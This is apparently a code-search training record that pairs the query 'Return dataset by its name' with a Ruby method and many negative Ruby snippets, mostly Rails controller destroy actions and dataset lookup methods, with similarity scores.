[ "def report_delete(id)\r\n\t\tpost= { \"token\" => @token, \"report\" => id } \r\n\t\tdocxml=nessus_request('report/delete', post)\r\n\t\treturn docxml\r\n\tend", "def report_delete(id)\n\t\t\tpost= { \"token\" => @token, \"report\" => id }\n\t\t\tdocxml = nil\n\t\t\tdocxml=nessus_request('report/delete', post)\n\t\t\tif docxml.nil?\n\t\t\t\treturn\n\t\t\tend\n\t\t\treturn docxml\n\t\tend", "def destroy\n @report.destroy\n\n respond_to do |format|\n format.html { redirect_to(reports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @report.destroy\n\n respond_to do |format|\n format.html { redirect_to(reports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @report = Report.find(params[:id])\n @report.destroy\n\n respond_to do |format|\n format.html { redirect_to(reports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @report = Mg::Report.find(params[:id])\n @report.destroy\n\n respond_to do |format|\n format.html { redirect_to(mg_reports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @dailyreport = Dailyreport.find(params[:id])\n @dailyreport.destroy\n\n respond_to do |format|\n format.html { redirect_to(dailyreports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user_reports = UserReport.find(params[:id])\n @user_reports.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_reports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n service_report = ServiceReport.find(params[:id])\n @service_request = service_report.service_request\n @service_request.service_reports.destroy(service_report)\n\n respond_to do |format|\n format.html { redirect_to(service_request_url(@service_request)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @comparative_report = ComparativeReport.find(params[:id])\n @comparative_report.destroy\n\n respond_to do |format|\n format.html { redirect_to(comparative_reports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @report2 = Report2.find(params[:id])\n @report2.destroy\n\n respond_to do |format|\n format.html { redirect_to(report2s_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @maintreport = Maintreport.find(params[:id])\n @maintreport.destroy\n\n respond_to do |format|\n format.html { redirect_to(maintreports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user_report = UserReport.find(params[:id])\n @user_report.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_reports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @inpatientdailyreport = Inpatientdailyreport.find(params[:id])\n @inpatientdailyreport.destroy\n\n respond_to do |format|\n format.html { redirect_to(inpatientdailyreports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @spam_report = SpamReport.find(params[:id])\n @spam_report.destroy\n\n respond_to do |format|\n format.html { redirect_to(spam_reports_url) }\n format.xml { head :ok }\n end\n end", "def test_delete_reports\n \n reports = BookmarkReport.getAll()\n \n for report in reports \n \n test = BookmarkReport.deleteReport(report.reportId)\n \n assert_equal true, test\n \n end\n \n end", "def destroy\n @individual_report = @medical_record.individual_reports.find(params[:id])\n @individual_report.destroy\n\n respond_to do |format|\n format.html { \n flash[:notice] = _('Se ha eliminado el informe correctamente')\n redirect_to(medical_record_individual_reports_url) \n }\n format.xml { head :ok }\n end\n end", "def destroy\n @group_report = GroupReport.find(params[:id])\n @group_report.destroy\n\n respond_to do |format|\n format.html { redirect_to(group_reports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @report = Report.find(params[:id].to_i)\n ActiveRecord::Base.transaction do\n @report.destroy\n end\n end", "def destroy\n @custom_report = CustomReport.find(params[:id])\n @custom_report.destroy\n\n head :no_content\n end", "def destroy\n @report.destroy!\n render json: {status: :ok}\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to admin_reports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @report_line = ReportLine.find(params[:id])\n @report_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(report_lines_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @dailyreport_job = DailyreportJob.find(params[:id])\n @dailyreport_job.destroy\n\n respond_to do |format|\n format.html { redirect_to(dailyreport_jobs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @report_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(report_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @report_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(report_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to admin_reports_url, notice: t('shared.msgs.success_destroyed',\n obj: t('activerecord.models.report', count: 1)) }\n format.json { head :no_content }\n end\n end", "def destroy\n @report = Report.find(params[:id])\n @report.destroy\n\n respond_to do |format|\n format.html { redirect_to reports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @report = Report.find(params[:id])\n @report.destroy\n\n respond_to do |format|\n format.html { redirect_to reports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @report = Report.find(params[:id])\n @report.destroy\n\n respond_to do |format|\n format.html { redirect_to reports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @report = Report.find(params[:id])\n @report.destroy\n\n respond_to do |format|\n format.html { redirect_to reports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @quarterly_report = QuarterlyReport.find(params[:id])\n @quarterly_report.destroy\n\n respond_to do |format|\n format.html { redirect_to(quarterly_reports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tps_report = TpsReport.find(params[:id])\n @tps_report.destroy\n\n respond_to do |format|\n format.html { redirect_to(tps_reports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @report_template = ReportTemplate.find(params[:id])\n @report_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(report_templates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @journal_doc_report.destroy\n respond_to do |format|\n format.html { redirect_to journal_doc_reports_url, notice: 'Journal doc report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete_report( type, id )\n \n LOGGER.info \"delete report '\"+id.to_s+\"' of type '\"+type.to_s+\"'\"\n @persistance.delete_report(type, id)\n end", "def destroy\n @report = Report.find(params[:id])\n @report.destroy\n\n respond_to do |format|\n format.html { redirect_to reports_url }\n #format.json { head :ok }\n end\n end", "def destroy\n @stores_report = Stores::Report.find(params[:id])\n @stores_report.destroy\n\n respond_to do |format|\n format.html { redirect_to stores_reports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @software_report = SoftwareReport.find(params[:id])\n @software_report.destroy\n\n respond_to do |format|\n format.html { redirect_to(software_reports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @report.destroy\n flash[:success] = \"report deleted\"\n redirect_to reports_url\n \n end", "def destroy\n @report.destroy\n redirect_to reports_url, notice: t(\"activerecord.attributes.report.destroyed\")\n end", "def destroy\n# @trip_report = TripReport.find(params[:id])\n# @trip_report.destroy\n\n respond_to do |format|\n format.html { redirect_to(trip_reports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @report_field = ReportField.find(params[:id])\n @report_field.destroy\n\n respond_to do |format|\n format.html { redirect_to(report_fields_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @report_file = ReportFile.find(params[:id])\n @report_file.destroy\n\n respond_to do |format|\n format.html { redirect_to report_files_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @report = current_user.reports.find(params[:id])\n @report.destroy\n\n respond_to do |format|\n format.html { redirect_to reports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @uncoiler_report = UncoilerReport.find(params[:id])\n @uncoiler_report.destroy\n\n respond_to do |format|\n format.html { redirect_to(uncoiler_reports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'El Reporte fue Eliminado Exitosamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report_comment = ReportComment.find(params[:id])\n @report_comment.destroy\n\n respond_to do |format|\n format.html { redirect_to(report_comments_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @admin_report.destroy\n respond_to do |format|\n format.html { redirect_to admin_reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @survey_report = SurveyReport.find(params[:id])\n @survey_report.destroy\n\n respond_to do |format|\n format.html { redirect_to survey_reports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @et_report.destroy\n respond_to do |format|\n format.html { redirect_to et_reports_url, notice: 'ๅ‰Š้™คใŒๅฎŒไบ†ใ—ใพใ—ใŸใ€‚' }\n format.json { head :no_content }\n end\n end", "def destroy\n @reporte = Reporte.find(params[:id])\n @reporte.destroy\n\n respond_to do |format|\n format.html { redirect_to reportes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_find_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to user_reports_url, notice: I18n.t('controllers.reports.successfully_updated') }\n format.json { head :no_content }\n end\n end", "def destroy\n @report = current_user.reports.find(params[:id])\n @report.destroy\n\n respond_to do |format|\n format.html { redirect_to user_path(current_user), notice: \"Report was deleted!\" }\n format.json { head :no_content }\n end\n end", "def destroy\n\t\t@report = Report.find(params[:id])\n\t\t@report.destroy\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to reports_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "def destroy\n\t\t@report = Report.find(params[:id])\n\t\t@report.destroy\n\t\t\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to reports_url }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend", "def destroy\n @reports_translation = ReportsTranslation.find(params[:id])\n @reports_translation.destroy\n\n respond_to do |format|\n format.html { redirect_to(reports_translations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @reports_translation = ReportsTranslation.find(params[:id])\n @reports_translation.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_reports_translations_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @all_report.destroy\n respond_to do |format|\n format.html { redirect_to all_reports_url, notice: 'All report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @statusreport = current_user.organization.statusreports.find(params[:id])\n @statusreport.destroy\n respond_to do |format|\n format.html { redirect_to statusreports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @report_content.destroy\n respond_to do |format|\n format.html { redirect_to report_contents_url }\n format.json { head :no_content }\n end\n end", "def delete_all_reports!\n reports=get_report_list\n reports.each do |rep|\n rep[:ReportID]\n delete_report(rep[:ReportID])\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: 'Report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: \"Report was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @report.destroy\n respond_to do |format|\n format.html { redirect_to reports_url, notice: \"Report was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @management_info_system_report = ManagementInfoSystemReport.find(params[:id])\n @management_info_system_report.destroy\n\n respond_to do |format|\n format.html { redirect_to(management_info_system_reports_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @reports_part = ReportsPart.find(params[:id])\n @reports_part.destroy\n\n head :no_content\n end", "def destroy\n @inventory_report = InventoryReport.find(params[:id])\n @inventory_report.destroy\n\n respond_to do |format|\n format.html { redirect_to inventory_reports_url }\n format.json { head :no_content }\n end\n end", "def delete_report(report_id)\n if api_call('DeleteReport',report_id)[:data]==1\n res=true\n else\n res=false\n end\n #api_call('DeleteReport')\n end", "def destroy\n @daily_report.destroy\n respond_to do |format|\n format.html { redirect_to daily_reports_url, notice: 'Daily report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admins_direct_report.destroy\n respond_to do |format|\n format.html { redirect_to admins_direct_reports_url, notice: 'Direct report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @fin_report = FinReport.find(params[:id])\n @fin_report.destroy\n\n respond_to do |format|\n format.html { redirect_to fin_reports_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @action_report.destroy\n respond_to do |format|\n format.html { redirect_to action_reports_url, notice: 'Action report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @report_field_template = ReportFieldTemplate.find(params[:id])\n @report_field_template.destroy\n\n respond_to do |format|\n format.html { redirect_to(report_field_templates_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @dynamic_report.destroy\n respond_to do |format|\n format.html { redirect_to dynamic_reports_url, notice: 'Dynamic report was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @applicant_report.destroy\n respond_to do |format|\n format.html { redirect_to applicant_reports_url, notice: 'Reporte de becario eliminado correctamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_report_tag.destroy\n respond_to do |format|\n format.html { redirect_to admin_report_tags_url }\n format.json { head :no_content }\n end\n end", "def destroy\n store_location\n @report.destroy\n respond_to do |format|\n format.html { redirect_to session.delete(:return_to)}\n format.json { head :no_content }\n end\n end", "def destroy\n @pod_report.destroy\n respond_to do |format|\n format.html { redirect_to pod_reports_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.7864469", "0.7545729", "0.7509032", "0.7509032", "0.7485339", "0.74581146", "0.73497295", "0.7189994", "0.7133743", "0.7112802", "0.71122026", "0.7045686", "0.70348287", "0.7030788", "0.69919956", "0.6975974", "0.6963122", "0.6960736", "0.6951867", "0.6949705", "0.6934347", "0.69314474", "0.69209653", "0.69046974", "0.6871014", "0.6871014", "0.68577224", "0.6854669", "0.6854669", "0.6854669", "0.6854669", "0.6837737", "0.6832584", "0.6832421", "0.6832421", "0.6832421", "0.6820714", "0.6812621", "0.68092203", "0.68043935", "0.67785263", "0.67778194", "0.67581385", "0.67541265", "0.6745396", "0.67399246", "0.67374086", "0.6730803", "0.6725182", "0.671996", "0.6714747", "0.67039627", "0.6698242", "0.66891646", "0.6681742", "0.66691715", "0.6659468", "0.66496", "0.664245", "0.6633342", "0.6633342", "0.6622394", "0.66091067", "0.66005886", "0.65994465", "0.65950036", "0.6589038", "0.6588916", "0.6588916", "0.6588916", "0.6588916", "0.6588916", "0.6588916", "0.6588916", "0.6588916", "0.6588916", "0.6588916", "0.6588916", "0.6588916", "0.6588916", "0.6588916", "0.6588916", "0.6588916", "0.657854", "0.657854", "0.65725255", "0.6569473", "0.6567328", "0.65658015", "0.6564553", "0.6520412", "0.6491487", "0.6490068", "0.64854467", "0.6468126", "0.6463539", "0.64332235", "0.64180094", "0.64078015" ]
0.74651015
6
Return dataset by its name
def [](name) datasets.fetch(name) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def dataset(name)\n datasets[name] = Dataset.new(connection.fetch(name.to_s))\n end", "def dataset(name)\n @datasets[name.to_sym] = Dataset.new(session, *split(name))\n end", "def dataset(name)\n fetch_or_store(name) { Dataset.new(rql.table(name), rql, self) }\n end", "def dataset(name)\n datasets[name] = Dataset.new(sources.fetch(name.to_s))\n end", "def [](name)\n datasets[name.to_sym]\n end", "def dataset(name)\n self[name] || connection.create_dataset(name)\n end", "def dataset(name)\n sets[name] = Dataset.new(name, connection)\n end", "def dataset?(name)\n self[name] ? true : false\n end", "def dataset\n database[table_name]\n end", "def dataset?(name)\n datasets.key?(name)\n end", "def dataset?(name)\n datasets.key?(name)\n end", "def dataset(table_name)\n Dataset.new(self, table_name)\n end", "def dataset(ds_id)\n data_service.dataset(service_name(ds_id))\n end", "def load_dataset(silent = false, name = nil)\n if name.nil?\n ensure_par(dataset: '-D')\n name = self[:dataset]\n end\n d = load_project.dataset(name)\n raise \"Cannot load dataset: #{self[:dataset]}\" if !silent && d.nil?\n\n return d\n end", "def dataset(index)\n idx_name = IndexName[index]\n Dataset.new(client, params: { index: idx_name.to_sym })\n end", "def dataset_method\n :\"#{self[:name]}_dataset\"\n end", "def dataset_method\n :\"#{self[:name]}_dataset\"\n end", "def dataset?(name)\n run rql.db(options[:db]).table_list.contains(name.to_s)\n end", "def dataset\n @dataset ||= data_maker.dataset\n end", "def [](data_set_name)\n library[data_set_name]\n end", "def add_dataset(name)\n unless metadata[:datasets].include? name\n d = MiGA::Dataset.new(self, name)\n @metadata[:datasets] << name\n @dataset_names_hash = nil # Ensure loading even if +do_not_save+ is true\n save\n if d.ref? && d.active?\n recalculate_tasks(\"Reference dataset added: #{d.name}\")\n end\n pull_hook(:on_add_dataset, name)\n end\n dataset(name)\n end", "def get(id)\n dataset.get(id)\n end", "def data name\n File.read data_path(name)\nend", "def dataset?(name)\n connection.query(\"select * from #{name} limit 1\")\n true\n rescue ::InfluxDB::Error\n false\n end", "def dataset\n @dataset ||= generate_dataset\n end", "def get_dataset_name(filename)\n @dataset_name = filename.chomp(\".xml\")\n @dataset_name.gsub!(/\\%/, \"percent\")\n @dataset = Dataset.find_or_create_by_name(@dataset_name)\n end", "def dataset\n self\n end", "def dataset\n self\n end", "def dataset\n self\n end", "def dataset(id)\n response = RestClient.get settings.uris.dataset_metadata(id)\n return JSON.parse( response.to_str )\n end", "def dataset(slug)\n Ailurus::Dataset.new(self, slug)\n end", "def datasets\n Dataset.order(:name).map_h {|d| DataRow.where(ward: self, dataset: d)}\n end", "def dataset database, source_id\n begin\n \"SciRuby::Data::#{database.to_s.camelize}\".constantize.new.dataset(source_id)\n rescue DatabaseUnavailableError => e\n warn \"Database appears to be unavailable. Attempting to use cached version.\"\n SciRuby::Data::Cacher.new.dataset(source_id, database)\n end\n end", "def _dataset_method\n :\"_#{self[:name]}_dataset\"\n end", "def get_dataset(table)\n #puts \"converting to a dataset\"\n to_dataset(@datafiles[table].content)\n end", "def dataset\n @dataset ||= begin\n create_table!\n database[:data_stores]\n end\n end", "def dataset\n @dataset_class.new(self)\n end", "def dataset\n @@dataset\n end", "def d(name)\n DataAccessor.new(name)\n end", "def dataset_names\n metadata[:datasets]\n end", "def get(data_set_name, x)\n data_set = @data[data_set_name]\n if data_set.nil? \n return nil\n end\n data_set[x]\n end", "def type\n 'dataset'\n end", "def dataset\n ds = Sequel::Dataset.new(self)\n end", "def dataset\n ds = Sequel::Dataset.new(self)\n end", "def get_dataset(quandl_dataset_code)\n Quandl::Dataset.get(quandl_dataset_code)\n end", "def table_for_name(name)\n if(! defined? name)\n return DataTable.new;\n end\n\n if(! @tables.has_key?(name))\n return DataTable.new;\n end\n\n @tables[name];\n end", "def find(id)\n new(GeoIQ.get(\"/datasets/#{id}.json\"))\n end", "def dataset\n graph && graph.dataset\n end", "def biomart_dataset( ds_conf )\n return Biomart::Dataset.new( ds_conf[\"url\"], { :name => ds_conf[\"dataset_name\"] } )\n end", "def get(name)\n data[name]\n end", "def get_dataset dataset_id\n # The get operation is considered idempotent\n execute backoff: true do\n service.get_dataset @project, dataset_id\n end\n end", "def build!(data_set_name)\n interface(data_set_name).create_empty_data_set\n library[data_set_name] = DataSet.new(data_set_name, interface(data_set_name))\n end", "def set_dataset\n @dataset = Dataset.find(params[:id] || params[:dataset_id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n end", "def build(data_set_name)\n raise Interfaces::DataSetAlreadyExists if interface(data_set_name).data_set_exists?\n build!(data_set_name)\n end", "def get_data(arg)\n dir_to_data = Dir.pwd + '/features/support'\n data = YAML.load_file(\"#{dir_to_data}/data_list.yml\")\n data['DataSet'][\"#{arg}\"]\nend", "def get_dataset(wi)\n if wi.options && wi.options['dataType']\n wi.options['dataType']\n else\n EternosBackup::SiteData.defaultDataSet\n end\n end", "def get_collection(name)\n @data[name]\n end", "def dataset_path\n @dataset_path ||= filename\n end", "def get_item_data_by_name(name)\n _item_property = @items.find{|item| item['Name'] == name}\n if _item_property.nil?\n nil\n else\n _item_property['Data']\n end\n end", "def dataset(opts=nil)\n Sequel::JDBC::Access::Dataset.new(self, opts)\n end", "def dataset\n res = Database.connection.exec(\"SELECT dataset from application_seeds LIMIT 1;\")\n res.getvalue(0, 0)\n rescue PG::Error => e\n e.message =~ /relation \"application_seeds\" does not exist/ ? nil : raise\n end", "def get(id)\n new(dataset.get(id))\n end", "def set_dataset\n @dataset = Dataset.find_by(key: params[:id])\n @dataset ||= Dataset.find(params[:dataset_id])\n raise ActiveRecord::RecordNotFound unless @dataset\n end", "def datasource_by_name(datasource_name)\n datasource_name = 'default' if datasource_name.to_s.empty?\n # TODO: add support for grafana builtin datasource types\n return UnsupportedDatasource.new(nil) if datasource_name.to_s =~ /-- (?:Mixed|Dashboard|Grafana) --/\n raise DatasourceDoesNotExistError.new('name', datasource_name) unless @datasources[datasource_name]\n\n @datasources[datasource_name]\n end", "def dataset_search database, args = {}\n \"SciRuby::Data::#{database.to_s.camelize}\".constantize.new(args).datasets.keys\n end", "def metadata\n DatasetService.get_metadata dataset_id\n end", "def get_metadata\n DatasetService.get_metadata self.dataset_id\n end", "def set_dataset\n\n @dataset = Dataset.find_by_key(params[:id])\n unless @dataset\n @dataset = Dataset.find(params[:dataset_id])\n end\n raise ActiveRecord::RecordNotFound unless @dataset\n end", "def dataset_key\n :id\n end", "def datasets\n @datasets || []\n end", "def datasets\n @datasets || []\n end", "def get(field)\n @dataset.get(field)\n end", "def dataset_id\n @gapi[\"datasetReference\"][\"datasetId\"]\n end", "def set_dataset\n # TODO\n #@dataset = DatasetService.get_dataset\n end", "def selection_data\n dataset ||= DB[:selections]\n end", "def each_dataset(&blk)\n if block_given?\n metadata[:datasets].each { |name| blk.call(dataset(name)) }\n else\n to_enum(:each_dataset)\n end\n end", "def dataset_from_row(row)\n datasets = Dataset.where(geo_id: row['geo_id'], user: User.robot)\n\n if @create_missing && datasets.none?\n Dataset.create!(\n row.to_h.slice('geo_id', 'name', 'country', 'data_source').merge(user: User.robot)\n )\n else\n datasets.first!\n end\n rescue ActiveRecord::RecordNotFound => ex\n raise ActiveRecord::RecordNotFound,\n \"No dataset exists matching geo ID: #{row['geo_id'].inspect}\",\n ex.backtrace\n end", "def establish_dataset( dataset )\n #print 'Dataset established: ', dataset.name if dataset.respond_to? :name and dataset.name\n @@dataset = dataset\n end", "def dataset(opts = nil)\n Mysql2::Dataset.new(self, opts)\n end", "def set_dataset\n @dataset =\n Dataset.find_with_metadata(params[:id], user_token(@site, true))\n end", "def [](name)\n unless @cached_records_by_name.key?(name)\n record = self.where(name: name).first\n @cached_records_by_name[name] = record\n site.cached_records[record.id] = record unless record.nil?\n end\n @cached_records_by_name[name]\n end", "def dataset(opts=nil)\n Sequel::JDBC::AS400::Dataset.new(self, opts)\n end", "def dataset(opts=nil)\n Sequel::JDBC::AS400::Dataset.new(self, opts)\n end", "def get(key)\n @collection.deserialize(\n [@dataset.get(key)].compact\n ).first\n end", "def dataset_class_default\n if self.class == Sequel::Database\n Sequel::Dataset\n else\n Sequel::Deprecation.deprecate(\"Using self.class.const_get(:DatasetClass) to get the default dataset class\", \"Modify the database adapter to implement Database#dataset_class_default\")\n self.class.const_get(:DatasetClass)\n end\n end", "def readDataset\n entries = Array.new\n Dir.entries(DATASET_DIR).sort.each do |x|\n if x != \".\" and x != \"..\"\n entries << DatasetEntry.new(File.join(DATASET_DIR, x))\n end\n end\n entries\nend", "def [](name)\n sets.fetch(name)\n end", "def set_data_set\n @data_set = DataSet.find_by(:id => params[:dataset_id])\n end", "def workflow_dataset(n)\n fail ActiveRecord::RecordNotFound if workflow_datasets.size <= n\n Dataset.find(workflow_datasets[n])\n end", "def get_data(resource_type, name)\n raise NotImplementedError, :get_data\n end", "def dataset(opts=nil)\n Sequel::JDBC::Pervasive::Dataset.new(self)\n end", "def schema_ds_dataset\n schema_utility_dataset\n end", "def get(expr)\n dataset.get(expr)\n end", "def get(expr)\n dataset.get(expr)\n end", "def set_dataset_datum\n @dataset_datum = DatasetDatum.find(params[:id])\n end" ]
[ "0.84260404", "0.8333166", "0.8270753", "0.8229438", "0.8157162", "0.81196225", "0.8079079", "0.73446894", "0.7325566", "0.72770995", "0.72770995", "0.7155278", "0.71247137", "0.6987319", "0.6889249", "0.6845552", "0.6840375", "0.6791701", "0.6741045", "0.6727756", "0.6666998", "0.6625084", "0.66079724", "0.6605912", "0.6561409", "0.6477277", "0.6462171", "0.6462171", "0.6462171", "0.6447328", "0.64333117", "0.6380709", "0.63591725", "0.6346463", "0.6345614", "0.6340642", "0.62848526", "0.62791324", "0.6257046", "0.62506634", "0.6241269", "0.6238256", "0.62051195", "0.62051195", "0.619747", "0.6163524", "0.61237955", "0.61180604", "0.610607", "0.6103618", "0.60083604", "0.5991275", "0.59862643", "0.59857875", "0.59857875", "0.59857875", "0.59857875", "0.5940316", "0.59401757", "0.5933515", "0.5918995", "0.59079915", "0.58927476", "0.585915", "0.5851994", "0.5811016", "0.57870823", "0.576784", "0.57407546", "0.5695874", "0.5695506", "0.5694105", "0.5675646", "0.56743354", "0.56743354", "0.56306857", "0.5628446", "0.562539", "0.5622811", "0.56186813", "0.56106436", "0.56104344", "0.55711156", "0.5560866", "0.5560429", "0.5549269", "0.5549269", "0.55383706", "0.55357397", "0.5523081", "0.55205035", "0.5505036", "0.5503087", "0.55027807", "0.54605085", "0.5454283", "0.5445807", "0.5445807", "0.5432653" ]
0.81034017
7
Register a new dataset
def dataset(name) datasets[name] = Dataset.new(connection.fetch(name.to_s)) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_dataset(name)\n unless metadata[:datasets].include? name\n d = MiGA::Dataset.new(self, name)\n @metadata[:datasets] << name\n @dataset_names_hash = nil # Ensure loading even if +do_not_save+ is true\n save\n if d.ref? && d.active?\n recalculate_tasks(\"Reference dataset added: #{d.name}\")\n end\n pull_hook(:on_add_dataset, name)\n end\n dataset(name)\n end", "def add(dataset)\n \"add dataset\\nset name=#{dataset}\\nend\"\n end", "def set_dataset\n # TODO\n #@dataset = DatasetService.get_dataset\n end", "def establish_dataset( dataset )\n #print 'Dataset established: ', dataset.name if dataset.respond_to? :name and dataset.name\n @@dataset = dataset\n end", "def insert_dataset new_dataset_gapi\n execute { service.insert_dataset @project, new_dataset_gapi }\n end", "def dataset(name)\n @datasets[name.to_sym] = Dataset.new(session, *split(name))\n end", "def dataset(name)\n sets[name] = Dataset.new(name, connection)\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n current_user.datasets << @dataset\n\n respond_to do |format|\n if @dataset.save\n format.html { redirect_to @dataset, notice: 'Dataset was successfully created.' }\n format.json { render json: @dataset, status: :created, location: @dataset }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dataset.errors, status: :unprocessable_entity }\n end\n end\n end", "def dataset(name)\n self[name] || connection.create_dataset(name)\n end", "def set_dataset\n @dataset =\n Dataset.find_with_metadata(params[:id], user_token(@site, true))\n end", "def set_dataset\n @dataset = Dataset.find(params[:id])\n 